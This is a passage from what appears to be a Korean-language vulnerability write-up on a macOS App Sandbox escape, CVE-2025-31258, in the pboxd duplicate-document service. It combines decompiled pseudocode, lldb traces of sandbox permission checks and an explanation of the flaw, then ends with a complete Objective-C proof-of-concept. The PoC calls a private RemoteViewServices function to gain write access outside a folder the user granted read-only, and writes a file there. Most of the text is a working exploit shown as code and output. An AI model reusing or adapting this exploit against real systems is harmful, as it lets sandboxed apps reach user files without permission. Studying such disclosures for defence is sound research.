1; } else { LABEL_19: v24 = objc_retainAutoreleasedReturnValue(+[NSFileManager defaultManager](&OBJC_CLASS___NSFileManager, "defaultManager", v20)); v25 = -[NSFileManager fileExistsAtPath:](v24, "fileExistsAtPath:", v51); objc_release(v24); if ( (v25 & 1) != 0 ) { v23 = objc_retainAutoreleasedReturnValue( +[NSError errorWithDomain:code:userInfo:]( &OBJC_CLASS___NSError, "errorWithDomain:code:userInfo:", NSPOSIXErrorDomain, 17, 0)); v13 = objc_autorelease(v23); *v62 = v23; v66 = 0; v57 = 1; } else { v22 = v51; v14 = objc_retainAutorelease(v51); objc_msgSend(v22, "UTF8String"); v48 = (void *)sandbox_extension_issue_file(); if ( v48 ) { v16 = objc_retainAutoreleasedReturnValue(+[NSString stringWithUTF8String:](&OBJC_CLASS___NSString, "stringWithUTF8String:", v48)); v17 = v61; v61 = v16; objc_release(v17); free(v48); v66 = objc_retain(v61); } else { v21 = objc_retainAutoreleasedReturnValue( +[NSError errorWithDomain:code:userInfo:]( &OBJC_CLASS___NSError, "errorWithDomain:code:userInfo:", NSPOSIXErrorDomain, *__error(), 0)); v15 = objc_autorelease(v21); *v62 = v21; v66 = 0; } v57 = 1; } } objc_storeStrong(&v51, 0); objc_storeStrong(&v52, 0); }
// (unsigned int)sandbox_check_by_audit_token(v50, "file-write-data", v31) 에서 브레이크됨 (lldb) c Process 958 resuming Process 958 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 18.1 frame #0: 0x0000000100743c80 com.apple.security.pboxd`___lldb_unnamed_symbol509 + 1348 com.apple.security.pboxd`___lldb_unnamed_symbol509: -> 0x100743c80 <+1348>: bl 0x10074c570 ; symbol stub for: sandbox_check_by_audit_token 0x100743c84 <+1352>: cbz w0, 0x100743d6c ; <+1584> 0x100743c88 <+1356>: b 0x100743c8c ; <+1360> 0x100743c8c <+1360>: ldur x8, [x29, #-0x20] Target 0: (com.apple.security.pboxd) stopped. (lldb) po $x0 6164372752 (lldb) po $x1 4302654342 (lldb) po $x2 1610612737 (lldb) po $x3 47513354648 (lldb) po $x4 21 (lldb) po $x5 1 (lldb) po $x6 /Users/seo/Documents copy 1337 (lldb) reg read x0 x0 = 0x000000016f6cdd10 (lldb) reg read x0 x1 x2 x3 x4 x5 x6 x0 = 0x000000016f6cdd10 x1 = 0x0000000100754b86 "file-write-data" x2 = 0x0000000060000001 x3 = 0x0000000b10044198 x4 = 0x0000000000000015 x5 = 0x0000000000000001 x6 = 0x0000000b101a9270 // (unsigned int)sandbox_check_by_audit_token(v49, "file-read-data", v29) 에서 브레이크됨 (lldb) c Process 958 resuming Process 958 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 20.1 frame #0: 0x0000000100743d10 com.apple.security.pboxd`___lldb_unnamed_symbol509 + 1492 com.apple.security.pboxd`___lldb_unnamed_symbol509: -> 0x100743d10 <+1492>: bl 0x10074c570 ; symbol stub for: sandbox_check_by_audit_token 0x100743d14 <+1496>: cbz w0, 0x100743d6c ; <+1584> 0x100743d18 <+1500>: b 0x100743d1c ; <+1504> 0x100743d1c <+1504>: ldur x1, [x29, #-0xf0] Target 0: (com.apple.security.pboxd) stopped. (lldb) po $x0 6164372720 (lldb) po $x6 <2f557365 72732f73 656f2f44 6f63756d 656e7473 00>
만약 /Users/seo/Documents에 읽기 권한이 주어진다면… (unsigned int)sandbox_check_by_audit_token(v49, “file-read-data”, v29)에서 0을 반환해준다.
그러면 else 문으로 이동할 수 있다.
-[NSFileManager fileExistsAtPath:] 메소드를 통해 /Users/seo/Documents copy 1337 파일이 존재하는지 확인하는데, 존재하면 안된다.
이후로는 _APP_SANDBOX_READ_WRITE 매개변수와 함꼐 sandbox_extension_issue_file 호출되어 /Users/seo/Documents copy 1337 파일을 읽기/쓰기 할 수 있는 권한을 가지게 된다.
즉 /Users/seo/Documents에 읽기 권한만 주어졌지만, Documents 폴더를 벗어난 /User/seo에 새로운 파일인 Documents copy 1337 파일 또는 폴더를 생성시킬 수 있게된 셈이다.
else { LABEL_19: v24 = objc_retainAutoreleasedReturnValue(+[NSFileManager defaultManager](&OBJC_CLASS___NSFileManager, "defaultManager", v20)); v25 = -[NSFileManager fileExistsAtPath:](v24, "fileExistsAtPath:", v51); objc_release(v24); if ( (v25 & 1) != 0 ) { v23 = objc_retainAutoreleasedReturnValue( +[NSError errorWithDomain:code:userInfo:]( &OBJC_CLASS___NSError, "errorWithDomain:code:userInfo:", NSPOSIXErrorDomain, 17, 0)); v13 = objc_autorelease(v23); *v62 = v23; v66 = 0; v57 = 1; } else { v22 = v51; v14 = objc_retainAutorelease(v51); objc_msgSend(v22, "UTF8String"); v48 = (void *)sandbox_extension_issue_file(); if ( v48 ) { v16 = objc_retainAutoreleasedReturnValue(+[NSString stringWithUTF8String:](&OBJC_CLASS___NSString, "stringWithUTF8String:", v48)); v17 = v61; v61 = v16; objc_release(v17); free(v48); v66 = objc_retain(v61); } else { v21 = objc_retainAutoreleasedReturnValue( +[NSError errorWithDomain:code:userInfo:]( &OBJC_CLASS___NSError, "errorWithDomain:code:userInfo:", NSPOSIXErrorDomain, *__error(), 0)); v15 = objc_autorelease(v21); *v62 = v21; v66 = 0; } v57 = 1; } } objc_storeStrong(&v51, 0); objc_storeStrong(&v52, 0);
(lldb) c Process 958 resuming Process 958 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 22.1 frame #0: 0x0000000100743d90 com.apple.security.pboxd`___lldb_unnamed_symbol509 + 1620 com.apple.security.pboxd`___lldb_unnamed_symbol509: -> 0x100743d90 <+1620>: bl 0x10074dc00 0x100743d94 <+1624>: mov x8, x0 0x100743d98 <+1628>: ldr x0, [sp, #0x58] 0x100743d9c <+1632>: str w8, [sp, #0x64] Target 0: (com.apple.security.pboxd) stopped. (lldb) po $x0 <NSFileManager: 0x100bc2900> (lldb) po $x1 <nil> (lldb) po $x2 /Users/seo/Documents copy 1337
PoC code
// // ViewController.m // CVE-2025-31258 // // Created by seo on 5/13/25. // #import "ViewController.h" #import <dlfcn.h> #import <sandbox.h> #import <xpc/xpc.h> @interface NSDocument (Private) + (BOOL)_validateDuplicateDocumentName:(NSString *)dupName withOriginalName:(NSString *)origName; @end int writeFileAtPath(const char *path, const char *content) { int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644); if (fd == -1) { perror("open"); return 1; } ssize_t bytes_written = write(fd, content, strlen(content)); if (bytes_written == -1) { perror("write"); close(fd); return 1; } if (close(fd) == -1) { perror("close"); return 1; } return 0; } int64_t PBOXDuplicateRequest(NSURL *a1, NSURL *a2, NSError *a3) { void *rvs = dlopen("/System/Library/PrivateFrameworks/" "RemoteViewServices.framework/RemoteViewServices", RTLD_NOW); void *func_ptr = dlsym(rvs, "PBOXDuplicateRequest"); typedef int (*custom_func_t)(NSURL *, NSURL *, NSError *); custom_func_t func = (custom_func_t)func_ptr; return func(a1, a2, a3); } int poc(void) { NSString *documentsPath = [NSString stringWithFormat:@"/Users/%@/Documents", NSUserName()]; //_validateDuplicateDocumentName:withOriginalName: arg2 NSURL *documentsURL = [NSURL fileURLWithPath:documentsPath]; NSString *copiedPath = [NSString stringWithFormat:@"/Users/%@/Documents copy 1337", NSUserName()]; //_validateDuplicateDocumentName:withOriginalName: arg1 NSURL *copiedURL = [NSURL fileURLWithPath:copiedPath]; NSError *_error = nil; int64_t result = PBOXDuplicateRequest(documentsURL, copiedURL, _error); NSLog(@"PBOXDuplicateRequest _error: %@\\n", _error); printf("PBOXDuplicateRequest result: %lld\\n", result); return 0; } void grant_read_permission_to_documents(void) { NSString *documentsPath = [NSString stringWithFormat:@"/Users/%@/Documents", NSUserName()]; NSOpenPanel *panel = [NSOpenPanel openPanel]; [panel setCanChooseDirectories:YES]; [panel setCanChooseFiles:NO]; [panel setAllowsMultipleSelection:NO]; [panel setPrompt:@"Please select Document folder to grant read for POC."]; [panel setDirectoryURL:[NSURL fileURLWithPath:documentsPath]]; if ([panel runModal] == NSModalResponseOK) { NSURL *selectedFolderURL = [panel URL]; NSLog(@"Selected Folder: %@", selectedFolderURL.path); if(![documentsPath isEqualToString:selectedFolderURL.path]) { NSLog(@"It's not document folder, exiting...."); exit(1); } } } @implementation ViewController - (IBAction)do_poc:(NSButton *)sender { grant_read_permission_to_documents(); poc(); NSString *copiedPath = [NSString stringWithFormat:@"/Users/%@/Documents copy 1337", NSUserName()]; writeFileAtPath(copiedPath.UTF8String, "Escaped Sandbox!"); } - (void)viewDidLoad { [super viewDidLoad]; } - (void)setRepresentedObject:(id)representedObject { [super setRepresentedObject:representedObject]; } @end